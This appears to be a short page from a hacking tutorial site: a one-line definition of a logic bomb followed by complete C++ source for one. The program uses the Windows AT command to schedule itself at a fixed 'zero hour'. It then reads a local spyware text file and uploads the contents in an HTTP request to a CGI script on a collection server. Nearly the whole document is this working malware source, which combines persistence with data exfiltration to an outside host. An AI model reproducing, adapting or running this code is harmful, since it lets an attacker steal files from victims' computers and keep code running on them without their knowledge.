Path: Hacking : Logic bomb :
Logic Bomb
Logic bomb program...
To execute, a program at a give point in time is called a logic bomb.
logic_bomb.cpp - upload spyware information
// logic_bomb.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "tcp_stream.h"
#include <cstdlib>
#include <windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
using namespace std;
using namespace net_tools;
#define PROGRAM_NAME "C:\\CODE\\LOGIC_BOMB\\DEBUG\\LOGIC_BOMB.EXE"
#define SPYWARE_TEXT "C:\\CODE\\LOGIC_BOMB\\DEBUG\\SPYWARE.TXT"
#define SPY_CGI "/~mcoan/cgi-bin/spy.cgi"
#define SPY_SERVER "192.168.1.1"
#define SPY_PORT 80
#define ZERO_HOUR "22:55"
string
escape(const string & str)
{
string hex_str;
string ret;
string t;
for(size_t i = 0; i < str.size(); i++) {
stringstream temp;
switch(str[i]) {
case ' ':
case '\r':
case '\n':
ret += '+';
break;
default:
temp << "%" << hex <<(int)str[i];
temp >> t;
ret += t;
}
}
cout << ret << endl;
return ret;
}
void
SendSpyInfo()
{
tcp_stream tcp(SPY_SERVER, SPY_PORT);
if(tcp) {
string text;
ifstream fin(SPYWARE_TEXT);
if(fin) {
char ch = fin.get();
while(fin) {
text += ch;
ch = fin.get();
}
fin.close();
tcp << "GET " << SPY_CGI
<< "?text=" << escape(text)
<< " HTTP/1.0\r\n\r\n";
ch = tcp.get();
while(tcp) {
ch = tcp.get();
}
tcp.close();
}
}
}
void
LogicBomb()
{
SendSpyInfo();
}
int
System(const string & cmd)
{
return system(cmd.c_str());
}
WSADATA stWSAData; // WinSock DLL Info.
#define WSA_MAJOR_VERSION 1
#define WSA_MINOR_VERSION 1
#define WSA_VERSION MAKEWORD(WSA_MAJOR_VERSION, WSA_MINOR_VERSION)
int main(int argc, char* argv[])
{
WSAStartup(WSA_VERSION, &stWSAData);
System(string("AT ") + string(ZERO_HOUR) + string(" ") + string(PROGRAM_NAME));
LogicBomb();
return 0;
}